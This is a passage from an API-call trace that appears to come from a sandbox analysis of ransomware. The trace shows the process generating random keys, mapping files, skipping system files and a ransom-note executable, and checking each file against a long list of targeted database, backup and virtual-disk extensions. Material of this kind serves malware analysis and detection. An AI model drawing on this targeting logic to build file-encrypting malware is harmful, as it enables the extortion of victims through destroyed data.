lpFileSize=0x241e418*=4307) returned 1 [0049.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.559] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.559] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.559] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.560] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x17c [0049.560] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x100000 [0049.560] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.561] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.561] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.561] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.562] CloseHandle (hObject=0x17c) returned 1 [0049.562] CloseHandle (hObject=0x154) returned 1 [0049.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.563] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x902d66c0, ftCreationTime.dwHighDateTime=0x1d4d1b4, ftLastAccessTime.dwLowDateTime=0xe1d2cc20, ftLastAccessTime.dwHighDateTime=0x1d4cec3, ftLastWriteTime.dwLowDateTime=0xe1d2cc20, ftLastWriteTime.dwHighDateTime=0x1d4cec3, nFileSizeHigh=0x0, nFileSizeLow=0x13d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2BPJ3u.mkv", cAlternateFileName="")) returned 1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2=".") returned 1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="..") returned 1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="windows") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="bootmgr") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="temp") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="pagefile.sys") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="boot") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="ids.txt") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="ntuser.dat") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="perflogs") returned -1 [0049.563] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2="MSBuild") returned -1 [0049.563] lstrlenW (lpString="2BPJ3u.mkv") returned 10 [0049.563] lstrcpyW (in: lpString1=0x241e8c8, lpString2="2BPJ3u.mkv" | out: lpString1="2BPJ3u.mkv") returned="2BPJ3u.mkv" [0049.563] lstrlenW (lpString="2BPJ3u.mkv") returned 10 [0049.563] lstrlenW (lpString="Athena865") returned 9 [0049.564] lstrcmpiW (lpString1="BPJ3u.mkv", lpString2="Athena865") returned 1 [0049.564] lstrlenW (lpString=".dll") returned 4 [0049.564] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2=".dll") returned 1 [0049.564] lstrlenW (lpString=".lnk") returned 4 [0049.564] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2=".lnk") returned 1 [0049.564] lstrlenW (lpString=".ini") returned 4 [0049.564] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2=".ini") returned 1 [0049.564] lstrlenW (lpString=".sys") returned 4 [0049.564] lstrcmpiW (lpString1="2BPJ3u.mkv", lpString2=".sys") returned 1 [0049.564] lstrlenW (lpString="2BPJ3u.mkv") returned 10 [0049.564] lstrlenW (lpString="bak") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1 [0049.564] lstrlenW (lpString="ba_") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1 [0049.564] lstrlenW (lpString="dbb") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1 [0049.564] lstrlenW (lpString="vmdk") returned 4 [0049.564] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1 [0049.564] lstrlenW (lpString="rar") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1 [0049.564] lstrlenW (lpString="zip") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1 [0049.564] lstrlenW (lpString="tgz") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1 [0049.564] lstrlenW (lpString="vbox") returned 4 [0049.564] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1 [0049.564] lstrlenW (lpString="vdi") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1 [0049.564] lstrlenW (lpString="vhd") returned 3 [0049.564] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1 [0049.564] lstrlenW (lpString="vhdx") returned 4 [0049.564] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1 [0049.564] lstrlenW (lpString="avhd") returned 4 [0049.565] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1 [0049.565] lstrlenW (lpString="db") returned 2 [0049.565] lstrcmpiW (lpString1="kv", lpString2="db") returned 1 [0049.565] lstrlenW (lpString="db2") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1 [0049.565] lstrlenW (lpString="db3") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1 [0049.565] lstrlenW (lpString="dbf") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1 [0049.565] lstrlenW (lpString="mdf") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1 [0049.565] lstrlenW (lpString="mdb") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1 [0049.565] lstrlenW (lpString="sql") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1 [0049.565] lstrlenW (lpString="sqlite") returned 6 [0049.565] lstrcmpiW (lpString1="3u.mkv", lpString2="sqlite") returned -1 [0049.565] lstrlenW (lpString="sqlite3") returned 7 [0049.565] lstrcmpiW (lpString1="J3u.mkv", lpString2="sqlite3") returned -1 [0049.565] lstrlenW (lpString="sqlitedb") returned 8 [0049.565] lstrcmpiW (lpString1="PJ3u.mkv", lpString2="sqlitedb") returned -1 [0049.565] lstrlenW (lpString="xml") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1 [0049.565] lstrlenW (lpString="$er") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1 [0049.565] lstrlenW (lpString="4dd") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1 [0049.565] lstrlenW (lpString="4dl") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1 [0049.565] lstrlenW (lpString="^^^") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1 [0049.565] lstrlenW (lpString="abs") returned 3 [0049.565] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1 [0049.565] lstrlenW (lpString="abx") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1 [0049.566] lstrlenW (lpString="accdb") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accdb") returned 1 [0049.566] lstrlenW (lpString="accdc") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accdc") returned 1 [0049.566] lstrlenW (lpString="accde") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accde") returned 1 [0049.566] lstrlenW (lpString="accdr") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accdr") returned 1 [0049.566] lstrlenW (lpString="accdt") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accdt") returned 1 [0049.566] lstrlenW (lpString="accdw") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accdw") returned 1 [0049.566] lstrlenW (lpString="accft") returned 5 [0049.566] lstrcmpiW (lpString1="u.mkv", lpString2="accft") returned 1 [0049.566] lstrlenW (lpString="adb") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0049.566] lstrlenW (lpString="adb") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0049.566] lstrlenW (lpString="ade") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1 [0049.566] lstrlenW (lpString="adf") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1 [0049.566] lstrlenW (lpString="adn") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1 [0049.566] lstrlenW (lpString="adp") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1 [0049.566] lstrlenW (lpString="alf") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1 [0049.566] lstrlenW (lpString="ask") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1 [0049.566] lstrlenW (lpString="btr") returned 3 [0049.566] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1 [0049.566] lstrlenW (lpString="cat") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1 [0049.567] lstrlenW (lpString="cdb") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1 [0049.567] lstrlenW (lpString="ckp") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1 [0049.567] lstrlenW (lpString="cma") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1 [0049.567] lstrlenW (lpString="cpd") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1 [0049.567] lstrlenW (lpString="dacpac") returned 6 [0049.567] lstrcmpiW (lpString1="3u.mkv", lpString2="dacpac") returned -1 [0049.567] lstrlenW (lpString="dad") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1 [0049.567] lstrlenW (lpString="dadiagrams") returned 10 [0049.567] lstrlenW (lpString="daschema") returned 8 [0049.567] lstrcmpiW (lpString1="PJ3u.mkv", lpString2="daschema") returned 1 [0049.567] lstrlenW (lpString="db-journal") returned 10 [0049.567] lstrlenW (lpString="db-shm") returned 6 [0049.567] lstrcmpiW (lpString1="3u.mkv", lpString2="db-shm") returned -1 [0049.567] lstrlenW (lpString="db-wal") returned 6 [0049.567] lstrcmpiW (lpString1="3u.mkv", lpString2="db-wal") returned -1 [0049.567] lstrlenW (lpString="dbc") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1 [0049.567] lstrlenW (lpString="dbs") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1 [0049.567] lstrlenW (lpString="dbt") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1 [0049.567] lstrlenW (lpString="dbv") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1 [0049.567] lstrlenW (lpString="dbx") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1 [0049.567] lstrlenW (lpString="dcb") returned 3 [0049.567] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1 [0049.567] lstrlenW (lpString="dct") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1 [0049.568] lstrlenW (lpString="dcx") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1 [0049.568] lstrlenW (lpString="ddl") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1 [0049.568] lstrlenW (lpString="dlis") returned 4 [0049.568] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1 [0049.568] lstrlenW (lpString="dp1") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1 [0049.568] lstrlenW (lpString="dqy") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1 [0049.568] lstrlenW (lpString="dsk") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1 [0049.568] lstrlenW (lpString="dsn") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1 [0049.568] lstrlenW (lpString="dtsx") returned 4 [0049.568] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1 [0049.568] lstrlenW (lpString="dxl") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1 [0049.568] lstrlenW (lpString="eco") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1 [0049.568] lstrlenW (lpString="ecx") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1 [0049.568] lstrlenW (lpString="edb") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1 [0049.568] lstrlenW (lpString="epim") returned 4 [0049.568] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1 [0049.568] lstrlenW (lpString="fcd") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1 [0049.568] lstrlenW (lpString="fdb") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1 [0049.568] lstrlenW (lpString="fic") returned 3 [0049.568] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1 [0049.568] lstrlenW (lpString="flexolibrary") returned 12 [0049.569] lstrlenW (lpString="fm5") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1 [0049.569] lstrlenW (lpString="fmp") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1 [0049.569] lstrlenW (lpString="fmp12") returned 5 [0049.569] lstrcmpiW (lpString1="u.mkv", lpString2="fmp12") returned 1 [0049.569] lstrlenW (lpString="fmpsl") returned 5 [0049.569] lstrcmpiW (lpString1="u.mkv", lpString2="fmpsl") returned 1 [0049.569] lstrlenW (lpString="fol") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1 [0049.569] lstrlenW (lpString="fp3") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1 [0049.569] lstrlenW (lpString="fp4") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1 [0049.569] lstrlenW (lpString="fp5") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1 [0049.569] lstrlenW (lpString="fp7") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1 [0049.569] lstrlenW (lpString="fpt") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1 [0049.569] lstrlenW (lpString="frm") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1 [0049.569] lstrlenW (lpString="gdb") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0049.569] lstrlenW (lpString="gdb") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0049.569] lstrlenW (lpString="grdb") returned 4 [0049.569] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1 [0049.569] lstrlenW (lpString="gwi") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1 [0049.569] lstrlenW (lpString="hdb") returned 3 [0049.569] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1 [0049.569] lstrlenW (lpString="his") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1 [0049.570] lstrlenW (lpString="ib") returned 2 [0049.570] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1 [0049.570] lstrlenW (lpString="idb") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1 [0049.570] lstrlenW (lpString="ihx") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1 [0049.570] lstrlenW (lpString="itdb") returned 4 [0049.570] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1 [0049.570] lstrlenW (lpString="itw") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1 [0049.570] lstrlenW (lpString="jet") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1 [0049.570] lstrlenW (lpString="jtx") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1 [0049.570] lstrlenW (lpString="kdb") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1 [0049.570] lstrlenW (lpString="kexi") returned 4 [0049.570] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1 [0049.570] lstrlenW (lpString="kexic") returned 5 [0049.570] lstrcmpiW (lpString1="u.mkv", lpString2="kexic") returned 1 [0049.570] lstrlenW (lpString="kexis") returned 5 [0049.570] lstrcmpiW (lpString1="u.mkv", lpString2="kexis") returned 1 [0049.570] lstrlenW (lpString="lgc") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1 [0049.570] lstrlenW (lpString="lwx") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1 [0049.570] lstrlenW (lpString="maf") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1 [0049.570] lstrlenW (lpString="maq") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1 [0049.570] lstrlenW (lpString="mar") returned 3 [0049.570] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1 [0049.570] lstrlenW (lpString="marshal") returned 7 [0049.571] lstrcmpiW (lpString1="J3u.mkv", lpString2="marshal") returned -1 [0049.571] lstrlenW (lpString="mas") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1 [0049.571] lstrlenW (lpString="mav") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1 [0049.571] lstrlenW (lpString="maw") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1 [0049.571] lstrlenW (lpString="mdbhtml") returned 7 [0049.571] lstrcmpiW (lpString1="J3u.mkv", lpString2="mdbhtml") returned -1 [0049.571] lstrlenW (lpString="mdn") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1 [0049.571] lstrlenW (lpString="mdt") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1 [0049.571] lstrlenW (lpString="mfd") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1 [0049.571] lstrlenW (lpString="mpd") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1 [0049.571] lstrlenW (lpString="mrg") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1 [0049.571] lstrlenW (lpString="mud") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1 [0049.571] lstrlenW (lpString="mwb") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1 [0049.571] lstrlenW (lpString="myd") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1 [0049.571] lstrlenW (lpString="ndf") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1 [0049.571] lstrlenW (lpString="nnt") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1 [0049.571] lstrlenW (lpString="nrmlib") returned 6 [0049.571] lstrcmpiW (lpString1="3u.mkv", lpString2="nrmlib") returned -1 [0049.571] lstrlenW (lpString="ns2") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1 [0049.571] lstrlenW (lpString="ns3") returned 3 [0049.571] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1 [0049.572] lstrlenW (lpString="ns4") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1 [0049.572] lstrlenW (lpString="nsf") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1 [0049.572] lstrlenW (lpString="nv") returned 2 [0049.572] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1 [0049.572] lstrlenW (lpString="nv2") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1 [0049.572] lstrlenW (lpString="nwdb") returned 4 [0049.572] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1 [0049.572] lstrlenW (lpString="nyf") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1 [0049.572] lstrlenW (lpString="odb") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0049.572] lstrlenW (lpString="odb") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0049.572] lstrlenW (lpString="oqy") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1 [0049.572] lstrlenW (lpString="ora") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1 [0049.572] lstrlenW (lpString="orx") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1 [0049.572] lstrlenW (lpString="owc") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1 [0049.572] lstrlenW (lpString="p96") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1 [0049.572] lstrlenW (lpString="p97") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1 [0049.572] lstrlenW (lpString="pan") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1 [0049.572] lstrlenW (lpString="pdb") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1 [0049.572] lstrlenW (lpString="pdm") returned 3 [0049.572] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1 [0049.573] lstrlenW (lpString="pnz") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1 [0049.573] lstrlenW (lpString="qry") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1 [0049.573] lstrlenW (lpString="qvd") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1 [0049.573] lstrlenW (lpString="rbf") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1 [0049.573] lstrlenW (lpString="rctd") returned 4 [0049.573] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1 [0049.573] lstrlenW (lpString="rod") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1 [0049.573] lstrlenW (lpString="rodx") returned 4 [0049.573] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1 [0049.573] lstrlenW (lpString="rpd") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1 [0049.573] lstrlenW (lpString="rsd") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1 [0049.573] lstrlenW (lpString="sas7bdat") returned 8 [0049.573] lstrcmpiW (lpString1="PJ3u.mkv", lpString2="sas7bdat") returned -1 [0049.573] lstrlenW (lpString="sbf") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1 [0049.573] lstrlenW (lpString="scx") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1 [0049.573] lstrlenW (lpString="sdb") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1 [0049.573] lstrlenW (lpString="sdc") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1 [0049.573] lstrlenW (lpString="sdf") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1 [0049.573] lstrlenW (lpString="sis") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1 [0049.573] lstrlenW (lpString="spq") returned 3 [0049.573] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1 [0049.574] lstrlenW (lpString="te") returned 2 [0049.574] lstrcmpiW (lpString1="kv", lpString2="te") returned -1 [0049.574] lstrlenW (lpString="teacher") returned 7 [0049.574] lstrcmpiW (lpString1="J3u.mkv", lpString2="teacher") returned -1 [0049.574] lstrlenW (lpString="tmd") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1 [0049.574] lstrlenW (lpString="tps") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1 [0049.574] lstrlenW (lpString="trc") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0049.574] lstrlenW (lpString="trc") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0049.574] lstrlenW (lpString="trm") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1 [0049.574] lstrlenW (lpString="udb") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1 [0049.574] lstrlenW (lpString="udl") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1 [0049.574] lstrlenW (lpString="usr") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1 [0049.574] lstrlenW (lpString="v12") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1 [0049.574] lstrlenW (lpString="vis") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1 [0049.574] lstrlenW (lpString="vpd") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1 [0049.574] lstrlenW (lpString="vvv") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1 [0049.574] lstrlenW (lpString="wdb") returned 3 [0049.574] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1 [0049.574] lstrlenW (lpString="wmdb") returned 4 [0049.574] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1 [0049.574] lstrlenW (lpString="wrk") returned 3 [0049.575] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1 [0049.575] lstrlenW (lpString="xdb") returned 3 [0049.575] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1 [0049.575] lstrlenW (lpString="xld") returned 3 [0049.575] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1 [0049.575] lstrlenW (lpString="xmlff") returned 5 [0049.575] lstrcmpiW (lpString1="u.mkv", 